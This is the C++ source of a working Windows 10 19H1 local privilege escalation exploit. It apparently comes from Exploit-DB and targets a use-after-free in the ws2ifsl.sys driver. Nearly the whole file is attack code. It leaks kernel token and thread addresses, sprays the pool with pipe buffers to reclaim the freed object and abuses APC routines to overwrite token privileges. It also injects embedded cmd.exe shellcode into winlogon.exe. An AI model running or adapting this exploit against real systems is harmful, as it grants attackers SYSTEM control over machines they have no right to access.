707 lines
No EOL
17 KiB
C++
707 lines
No EOL
17 KiB
C++
/*
|
|
The exploit works on 19H1.
|
|
It was tested with ntoskrnl version 10.0.18362.295
|
|
|
|
EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47935.zip
|
|
*/
|
|
|
|
#include <Windows.h>
|
|
#include <stdio.h>
|
|
#include <string>
|
|
#include <ntstatus.h>
|
|
#include <processthreadsapi.h>
|
|
#include <winternl.h>
|
|
#include <tlhelp32.h>
|
|
|
|
#pragma comment(lib, "ntdll.lib")
|
|
|
|
// run cmd.exe
|
|
unsigned char shellcode[] =
|
|
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
|
|
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
|
|
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
|
|
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
|
|
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
|
|
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
|
|
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
|
|
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
|
|
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
|
|
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
|
|
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
|
|
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
|
|
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
|
|
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
|
|
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
|
|
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
|
|
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
|
|
"\x78\x65\x00";
|
|
|
|
static const unsigned int shellcode_len = 0x1000;
|
|
|
|
#define MAXIMUM_FILENAME_LENGTH 255
|
|
#define SystemModuleInformation 0xb
|
|
#define SystemHandleInformation 0x10
|
|
|
|
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
|
|
{
|
|
ULONG ProcessId;
|
|
UCHAR ObjectTypeNumber;
|
|
UCHAR Flags;
|
|
USHORT Handle;
|
|
void* Object;
|
|
ACCESS_MASK GrantedAccess;
|
|
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
|
|
|
|
typedef struct _SYSTEM_HANDLE_INFORMATION
|
|
{
|
|
ULONG NumberOfHandles;
|
|
SYSTEM_HANDLE Handels[1];
|
|
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
|
|
|
|
typedef struct SYSTEM_MODULE {
|
|
ULONG Reserved1;
|
|
ULONG Reserved2;
|
|
#ifdef _WIN64
|
|
ULONG Reserved3;
|
|
#endif
|
|
PVOID ImageBaseAddress;
|
|
ULONG ImageSize;
|
|
ULONG Flags;
|
|
WORD Id;
|
|
WORD Rank;
|
|
WORD w018;
|
|
WORD NameOffset;
|
|
CHAR Name[MAXIMUM_FILENAME_LENGTH];
|
|
}SYSTEM_MODULE, * PSYSTEM_MODULE;
|
|
|
|
typedef struct SYSTEM_MODULE_INFORMATION {
|
|
ULONG ModulesCount;
|
|
SYSTEM_MODULE Modules[1];
|
|
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
|
|
|
|
// exploit specific type information
|
|
typedef struct _FILE_FULL_EA_INFORMATION {
|
|
ULONG NextEntryOffset; // +0x0
|
|
UCHAR Flags; // +4
|
|
UCHAR EaNameLength; // +5
|
|
USHORT EaValueLength; // +6
|
|
CHAR EaName[1]; // +9
|
|
} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;
|
|
|
|
typedef struct _PROC_DATA {
|
|
HANDLE apcthread; // +0x0
|
|
void* unknown1; // +0x8
|
|
void* unknown2; // +0x10
|
|
void* unknown3; // +0x18
|
|
void* unknown4; // +0x20
|
|
} PROC_DATA, * PPROC_DATA;
|
|
|
|
typedef struct _SOCK_DATA {
|
|
HANDLE unknown; // +0x0
|
|
HANDLE procDataHandle; // +0x8
|
|
} SOCK_DATA, * PSOCK_DATA;
|
|
|
|
// undocumented apis definitions
|
|
|
|
typedef NTSTATUS(WINAPI* NtWriteFile_t)(HANDLE FileHandle,
|
|
HANDLE Event,
|
|
PIO_APC_ROUTINE ApcRoutine,
|
|
PVOID ApcContext,
|
|
PIO_STATUS_BLOCK IoStatusBlock,
|
|
PVOID Buffer,
|
|
ULONG Length,
|
|
PLARGE_INTEGER ByteOffset,
|
|
PULONG key);
|
|
|
|
typedef NTSTATUS(WINAPI* NtTestAlert_t)(void);
|
|
|
|
typedef NTSTATUS(WINAPI* RtlGetVersion_t)(PRTL_OSVERSIONINFOW lpVersionInformation);
|
|
|
|
// resolved function pointers at runtime
|
|
NtTestAlert_t g_NtTestAlert = 0;
|
|
NtWriteFile_t g_NtWriteFile = 0;
|
|
RtlGetVersion_t g_RtlGetVersion = 0;
|
|
|
|
HANDLE g_Event1 = NULL;
|
|
HANDLE g_Event2 = NULL;
|
|
HANDLE g_Event3 = NULL;
|
|
|
|
int g_done1 = 0;
|
|
int g_done2 = 0;
|
|
|
|
#define TOKEN_OFFSET 0x40 //_SEP_TOKEN_PRIVILEGES offset
|
|
#define OFFSET_LINKEDLIST 0xA8 //kthread apc offset
|
|
|
|
// generic helper function
|
|
|
|
void InjectToWinlogon()
|
|
{
|
|
PROCESSENTRY32 entry;
|
|
entry.dwSize = sizeof(PROCESSENTRY32);
|
|
|
|
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
|
|
|
|
int pid = -1;
|
|
if (Process32First(snapshot, &entry))
|
|
{
|
|
while (Process32Next(snapshot, &entry))
|
|
{
|
|
if (_strcmpi(entry.szExeFile, "winlogon.exe") == 0)
|
|
{
|
|
pid = entry.th32ProcessID;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
CloseHandle(snapshot);
|
|
|
|
if (pid < 0)
|
|
{
|
|
printf("Could not find process\n");
|
|
return;
|
|
}
|
|
|
|
HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
|
|
if (!h)
|
|
{
|
|
printf("Could not open process: %x", GetLastError());
|
|
return;
|
|
}
|
|
|
|
void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
if (!buffer)
|
|
{
|
|
printf("[-] VirtualAllocEx failed\n");
|
|
}
|
|
|
|
if (!buffer)
|
|
{
|
|
printf("[-] remote allocation failed");
|
|
return;
|
|
}
|
|
|
|
if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0))
|
|
{
|
|
printf("[-] WriteProcessMemory failed");
|
|
return;
|
|
}
|
|
|
|
HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);
|
|
|
|
if (hthread == INVALID_HANDLE_VALUE)
|
|
{
|
|
printf("[-] CreateRemoteThread failed");
|
|
return;
|
|
}
|
|
}
|
|
|
|
HMODULE GetNOSModule()
|
|
{
|
|
HMODULE hKern = 0;
|
|
hKern = LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
|
|
return hKern;
|
|
}
|
|
|
|
DWORD64 GetModuleAddr(const char* modName)
|
|
{
|
|
PSYSTEM_MODULE_INFORMATION buffer = (PSYSTEM_MODULE_INFORMATION)malloc(0x20);
|
|
|
|
DWORD outBuffer = 0;
|
|
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 0x20, &outBuffer);
|
|
|
|
if (status == STATUS_INFO_LENGTH_MISMATCH)
|
|
{
|
|
free(buffer);
|
|
buffer = (PSYSTEM_MODULE_INFORMATION)malloc(outBuffer);
|
|
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, outBuffer, &outBuffer);
|
|
}
|
|
|
|
if (!buffer)
|
|
{
|
|
printf("[-] NtQuerySystemInformation error\n");
|
|
return 0;
|
|
}
|
|
|
|
for (unsigned int i = 0; i < buffer->ModulesCount; i++)
|
|
{
|
|
PVOID kernelImageBase = buffer->Modules[i].ImageBaseAddress;
|
|
PCHAR kernelImage = (PCHAR)buffer->Modules[i].Name;
|
|
if (_stricmp(kernelImage, modName) == 0)
|
|
{
|
|
free(buffer);
|
|
return (DWORD64)kernelImageBase;
|
|
}
|
|
}
|
|
free(buffer);
|
|
return 0;
|
|
}
|
|
|
|
|
|
DWORD64 GetKernelPointer(HANDLE handle, DWORD type)
|
|
{
|
|
PSYSTEM_HANDLE_INFORMATION buffer = (PSYSTEM_HANDLE_INFORMATION) malloc(0x20);
|
|
|
|
DWORD outBuffer = 0;
|
|
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer);
|
|
|
|
if (status == STATUS_INFO_LENGTH_MISMATCH)
|
|
{
|
|
free(buffer);
|
|
buffer = (PSYSTEM_HANDLE_INFORMATION) malloc(outBuffer);
|
|
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer);
|
|
}
|
|
|
|
if (!buffer)
|
|
{
|
|
printf("[-] NtQuerySystemInformation error \n");
|
|
return 0;
|
|
}
|
|
|
|
for (size_t i = 0; i < buffer->NumberOfHandles; i++)
|
|
{
|
|
DWORD objTypeNumber = buffer->Handels[i].ObjectTypeNumber;
|
|
|
|
if (buffer->Handels[i].ProcessId == GetCurrentProcessId() && buffer->Handels[i].ObjectTypeNumber == type)
|
|
{
|
|
if (handle == (HANDLE)buffer->Handels[i].Handle)
|
|
{
|
|
//printf("%p %d %x\n", buffer->Handels[i].Object, buffer->Handels[i].ObjectTypeNumber, buffer->Handels[i].Handle);
|
|
DWORD64 object = (DWORD64)buffer->Handels[i].Object;
|
|
free(buffer);
|
|
return object;
|
|
}
|
|
}
|
|
}
|
|
printf("[-] handle not found\n");
|
|
free(buffer);
|
|
return 0;
|
|
}
|
|
|
|
DWORD64 GetGadgetAddr(const char* name)
|
|
{
|
|
DWORD64 base = GetModuleAddr("\\SystemRoot\\system32\\ntoskrnl.exe");
|
|
HMODULE mod = GetNOSModule();
|
|
if (!mod)
|
|
{
|
|
printf("[-] leaking ntoskrnl version\n");
|
|
return 0;
|
|
}
|
|
DWORD64 offset = (DWORD64)GetProcAddress(mod, name);
|
|
|
|
DWORD64 returnValue = base + offset - (DWORD64)mod;
|
|
FreeLibrary(mod);
|
|
return returnValue;
|
|
}
|
|
|
|
/*
|
|
After the bug is triggerd the first thime, this threads gets notified and it will trigger its function pointer,
|
|
which will call our gadget function and write the first 8 bytes.
|
|
*/
|
|
DWORD WINAPI APCThread1(LPVOID lparam)
|
|
{
|
|
SetEvent(g_Event1);
|
|
while (1)
|
|
{
|
|
if (g_done1)
|
|
{
|
|
printf("[+] triggering first APC execution\n");
|
|
|
|
g_NtTestAlert();
|
|
|
|
while (1)
|
|
{
|
|
Sleep(0x1000);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
Sleep(1);
|
|
}
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
/*
|
|
After the bug is triggerd the second thime, this threads gets notified and it will trigger its function pointer again and write the second 8 bytes.
|
|
After that the shellcode is injected into the system process.
|
|
*/
|
|
DWORD WINAPI APCThread2(LPVOID lparam)
|
|
{
|
|
SetEvent(g_Event2);
|
|
while (1)
|
|
{
|
|
if (g_done2)
|
|
{
|
|
printf("[+] triggering second APC execution\n");
|
|
|
|
g_NtTestAlert();
|
|
|
|
InjectToWinlogon();
|
|
SetEvent(g_Event3);
|
|
|
|
while (1)
|
|
{
|
|
Sleep(0x1000);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
Sleep(1);
|
|
}
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
HANDLE CreateSocketHandle(HANDLE procHandle)
|
|
{
|
|
HANDLE fileHandle = 0;
|
|
UNICODE_STRING deviceName;
|
|
OBJECT_ATTRIBUTES object;
|
|
IO_STATUS_BLOCK IoStatusBlock;
|
|
|
|
RtlInitUnicodeString(&deviceName, (PWSTR)L"\\Device\\WS2IFSL\\NifsSct");
|
|
|
|
InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);
|
|
|
|
FILE_FULL_EA_INFORMATION* eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SOCK_DATA));
|
|
if (!eaBuffer)
|
|
{
|
|
printf("[-] malloc error\n");
|
|
return fileHandle;
|
|
}
|
|
eaBuffer->NextEntryOffset = 0;
|
|
eaBuffer->Flags = 0;
|
|
eaBuffer->EaNameLength = sizeof("NifsSct") - 1;
|
|
eaBuffer->EaValueLength = sizeof(SOCK_DATA);
|
|
|
|
RtlCopyMemory(eaBuffer->EaName, "NifsSct", (SIZE_T)eaBuffer->EaNameLength + 1);
|
|
|
|
SOCK_DATA * eaData = (SOCK_DATA*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") - 4);
|
|
|
|
eaData->unknown = (void*) 0x242424224;
|
|
eaData->procDataHandle = (void*) procHandle;
|
|
|
|
NTSTATUS status = NtCreateFile(&fileHandle, GENERIC_WRITE, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(PROC_DATA));
|
|
if (status != STATUS_SUCCESS)
|
|
{
|
|
printf("[-] NtCreateFile error: %x \n", status);
|
|
free(eaBuffer);
|
|
return fileHandle;
|
|
}
|
|
|
|
free(eaBuffer);
|
|
return fileHandle;
|
|
}
|
|
|
|
HANDLE CreateProcessHandle(HANDLE hAPCThread)
|
|
{
|
|
HANDLE fileHandle = 0;
|
|
UNICODE_STRING deviceName;
|
|
OBJECT_ATTRIBUTES object;
|
|
IO_STATUS_BLOCK IoStatusBlock;
|
|
|
|
RtlInitUnicodeString(&deviceName, (PWSTR)L"\\Device\\WS2IFSL\\NifsPvd");
|
|
|
|
InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);
|
|
|
|
FILE_FULL_EA_INFORMATION* eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));
|
|
if (!eaBuffer)
|
|
{
|
|
printf("[-] malloc error\n");
|
|
return fileHandle;
|
|
}
|
|
eaBuffer->NextEntryOffset = 0;
|
|
eaBuffer->Flags = 0;
|
|
eaBuffer->EaNameLength = sizeof("NifsPvd") - 1;
|
|
eaBuffer->EaValueLength = sizeof(PROC_DATA);
|
|
|
|
RtlCopyMemory(eaBuffer->EaName, "NifsPvd", (SIZE_T)eaBuffer->EaNameLength + 1);
|
|
PROC_DATA * eaData = (PROC_DATA*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") - 4);
|
|
|
|
if (!hAPCThread)
|
|
{
|
|
printf("[-] error thread not found\n");
|
|
free(eaBuffer);
|
|
return 0;
|
|
}
|
|
|
|
eaData->apcthread = (void*) hAPCThread; // thread must be in current process
|
|
eaData->unknown1 = (void*) 0x2222222; // APC Routine
|
|
eaData->unknown2 = (void*) 0x3333333; // cancel Rundown Routine
|
|
eaData->unknown3 = (void*) 0x4444444;
|
|
eaData->unknown4 = (void*) 0x5555555;
|
|
|
|
NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));
|
|
if (status != STATUS_SUCCESS)
|
|
{
|
|
printf("[-] NtCreateFile error: %x \n", status);
|
|
free(eaBuffer);
|
|
return fileHandle;
|
|
}
|
|
|
|
free(eaBuffer);
|
|
return fileHandle;
|
|
}
|
|
|
|
int DoHeapSpray(DWORD64 writeAddress, DWORD64 kthreadAddress)
|
|
{
|
|
DWORD64 nopPointer = GetGadgetAddr("xHalTimerWatchdogStop");
|
|
if (!nopPointer)
|
|
{
|
|
printf("[-] SeSetAccessStateGenericMapping not found\n");
|
|
return 0;
|
|
}
|
|
|
|
DWORD64 funPointer = GetGadgetAddr("SeSetAccessStateGenericMapping");
|
|
if (!funPointer)
|
|
{
|
|
printf("[-] SeSetAccessStateGenericMapping not found\n");
|
|
return 0;
|
|
}
|
|
|
|
UCHAR payload[0x120 - 0x48];
|
|
memset(payload, 0x0, sizeof(payload));
|
|
|
|
DWORD64 x = 0x41414141414141;
|
|
memcpy(payload, &x, 8);
|
|
|
|
x = 0x12121212;
|
|
memcpy(payload + 8, &x, 8);
|
|
|
|
x = kthreadAddress + OFFSET_LINKEDLIST; // apc linked list
|
|
memcpy(payload + 0x10, &x, 8);
|
|
|
|
x = kthreadAddress + OFFSET_LINKEDLIST;
|
|
memcpy(payload + 0x18, &x, 8);
|
|
|
|
x = funPointer;
|
|
memcpy(payload + 0x20, &x, 8); // this is the RIP we want to execute, in case of NtTestAlert
|
|
|
|
x = nopPointer;
|
|
memcpy(payload + 0x28, &x, 8); // this is the RIP we want to execute, in case of rundown routine
|
|
|
|
x = 0xffffffffffffffff; // this is to be written
|
|
memcpy(payload + 0x30, &x, 8);
|
|
|
|
x = 0xffffffffffffffff; // this is to be written, but it gets changed..
|
|
memcpy(payload + 0x38, &x, 8);
|
|
|
|
x = 0x2424242424242424;
|
|
memcpy(payload + 0x40, &x, 8);
|
|
|
|
x = writeAddress; // this is where to write
|
|
memcpy(payload + 0x48, &x, 8);
|
|
|
|
for (size_t i = 0; i < 0x70; i++)
|
|
{
|
|
HANDLE readPipe;
|
|
HANDLE writePipe;
|
|
DWORD resultLength = 0;
|
|
|
|
BOOL res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(payload));
|
|
if (!res)
|
|
{
|
|
printf("[-] error creating pipe\n");
|
|
return 0;
|
|
}
|
|
res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL);
|
|
}
|
|
|
|
return 1;
|
|
}
|
|
|
|
/*
|
|
This function will trigger the use after free in ws2ifsl.sys and
|
|
will try to reallocate the buffer with controlled content.
|
|
*/
|
|
void TriggerBug(HANDLE threadHandle, DWORD64 writeAddress, DWORD64 kthreadAddress, int id)
|
|
{
|
|
HANDLE procHandle = CreateProcessHandle(threadHandle);
|
|
printf("[!] procHandle %x\n", (DWORD)procHandle);
|
|
|
|
HANDLE sockHandle = CreateSocketHandle(procHandle);
|
|
printf("[!] sockHandle %x\n", (DWORD)sockHandle);
|
|
|
|
char* readBuffer = (char*)malloc(0x100);
|
|
DWORD bytesRead = 0;
|
|
|
|
IO_STATUS_BLOCK io;
|
|
LARGE_INTEGER byteOffset;
|
|
byteOffset.HighPart = 0;
|
|
byteOffset.LowPart = 0;
|
|
byteOffset.QuadPart = 0;
|
|
byteOffset.u.LowPart = 0;
|
|
byteOffset.u.HighPart = 0;
|
|
ULONG key = 0;
|
|
|
|
CloseHandle(procHandle);
|
|
|
|
NTSTATUS ret = g_NtWriteFile(sockHandle, 0, 0, 0, &io, readBuffer, 0x100, &byteOffset, &key);
|
|
|
|
// this close the objecte and we trigger the use after free
|
|
CloseHandle(sockHandle);
|
|
|
|
// this spray will reclaim the buffer
|
|
if (!DoHeapSpray(writeAddress, kthreadAddress))
|
|
{
|
|
printf("[-] error doHeapSpray\n");
|
|
return;
|
|
}
|
|
|
|
if (id == 1)
|
|
{
|
|
g_done1 = 1;
|
|
}
|
|
|
|
if (id == 2)
|
|
{
|
|
g_done2 = 1;
|
|
}
|
|
|
|
printf("[+] done\n");
|
|
Sleep(0x20);
|
|
free(readBuffer);
|
|
|
|
return;
|
|
}
|
|
|
|
/*
|
|
This function resolves all function pointer for native api calls.
|
|
*/
|
|
bool InitFunctionPointers()
|
|
{
|
|
HMODULE hNtDll = NULL;
|
|
hNtDll = LoadLibrary("ntdll.dll");
|
|
if (!hNtDll)
|
|
{
|
|
printf("error\n");
|
|
return false;
|
|
}
|
|
|
|
g_NtTestAlert = (NtTestAlert_t)GetProcAddress(hNtDll, "NtTestAlert");
|
|
if (!g_NtTestAlert)
|
|
{
|
|
printf("error\n");
|
|
return false;
|
|
}
|
|
|
|
g_NtWriteFile = (NtWriteFile_t)GetProcAddress(hNtDll, "NtWriteFile");
|
|
if (!g_NtWriteFile)
|
|
{
|
|
printf("[-] GetProcAddress() NtWriteFile failed.\n");
|
|
return false;
|
|
}
|
|
|
|
g_RtlGetVersion = (RtlGetVersion_t)GetProcAddress(hNtDll, "RtlGetVersion");
|
|
if (!g_NtWriteFile)
|
|
{
|
|
printf("[-] GetProcAddress() RtlGetVersion failed.\n");
|
|
return false;
|
|
}
|
|
|
|
return true;
|
|
}
|
|
|
|
int main()
|
|
{
|
|
// intialize event for thread synchronization
|
|
g_Event1 = CreateEvent(0, 0, 0, 0);
|
|
g_Event2 = CreateEvent(0, 0, 0, 0);
|
|
g_Event3 = CreateEvent(0, 0, 0, 0);
|
|
|
|
if (g_Event1 == INVALID_HANDLE_VALUE || !g_Event1)
|
|
{
|
|
printf("[-] CreateEvent failed\n");
|
|
return 0;
|
|
}
|
|
if (g_Event2 == INVALID_HANDLE_VALUE || !g_Event2)
|
|
{
|
|
printf("[-] CreateEvent failed\n");
|
|
return 0;
|
|
}
|
|
if (g_Event3 == INVALID_HANDLE_VALUE || !g_Event2)
|
|
{
|
|
printf("[-] CreateEvent failed\n");
|
|
return 0;
|
|
}
|
|
|
|
if (!InitFunctionPointers())
|
|
{
|
|
printf("[-] InitFunctionPointers failed\n");
|
|
return 0;
|
|
}
|
|
|
|
HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
|
|
if (!proc)
|
|
{
|
|
printf("[-] OpenProcess failed\n");
|
|
return 0;
|
|
}
|
|
HANDLE token = 0;
|
|
if (!OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token))
|
|
{
|
|
printf("[-] OpenProcessToken failed\n");
|
|
return 0;
|
|
}
|
|
|
|
DWORD64 ktoken = GetKernelPointer(token, 0x5);
|
|
DWORD64 where = ktoken + TOKEN_OFFSET;
|
|
|
|
printf("[+] found token at: %p\n", (DWORD64) ktoken);
|
|
|
|
|
|
// check the supported version of this exploit, otherwise we would crash
|
|
RTL_OSVERSIONINFOW osversion;
|
|
g_RtlGetVersion(&osversion);
|
|
|
|
if (osversion.dwMajorVersion == 10 && osversion.dwBuildNumber == 18362)
|
|
{
|
|
printf("[+] version supported\n");
|
|
}
|
|
else
|
|
{
|
|
printf("[-] sorry version not supported\n");
|
|
return 0;
|
|
}
|
|
|
|
HANDLE hAPCThread1 = CreateThread(0, 0, APCThread1, 0, 0, 0);
|
|
if (hAPCThread1 == INVALID_HANDLE_VALUE || !hAPCThread1)
|
|
{
|
|
printf("[-] error CreateThread\n");
|
|
return 0;
|
|
}
|
|
|
|
HANDLE hAPCThread2 = CreateThread(0, 0, APCThread2, 0, 0, 0);
|
|
if (hAPCThread2 == INVALID_HANDLE_VALUE || !hAPCThread2)
|
|
{
|
|
printf("[-] error CreateThread\n");
|
|
return 0;
|
|
}
|
|
|
|
DWORD64 threadAddrAPC1 = GetKernelPointer(hAPCThread1, 0x8);
|
|
if (!threadAddrAPC1)
|
|
{
|
|
printf("[-] GetKernelPointer error \n");
|
|
return 0;
|
|
}
|
|
DWORD64 threadAddrAPC2 = GetKernelPointer(hAPCThread2, 0x8);
|
|
if (!threadAddrAPC2)
|
|
{
|
|
printf("[-] GetKernelPointer error \n");
|
|
return 0;
|
|
}
|
|
|
|
// wait for threads to be initialized
|
|
WaitForSingleObject(g_Event1, -1);
|
|
WaitForSingleObject(g_Event2, -1);
|
|
|
|
TriggerBug(hAPCThread1, where-8, threadAddrAPC1, 1);
|
|
TriggerBug(hAPCThread2, where, threadAddrAPC2, 2);
|
|
|
|
WaitForSingleObject(g_Event3, -1);
|
|
|
|
ExitProcess(0);
|
|
|
|
return 0;
|
|
} |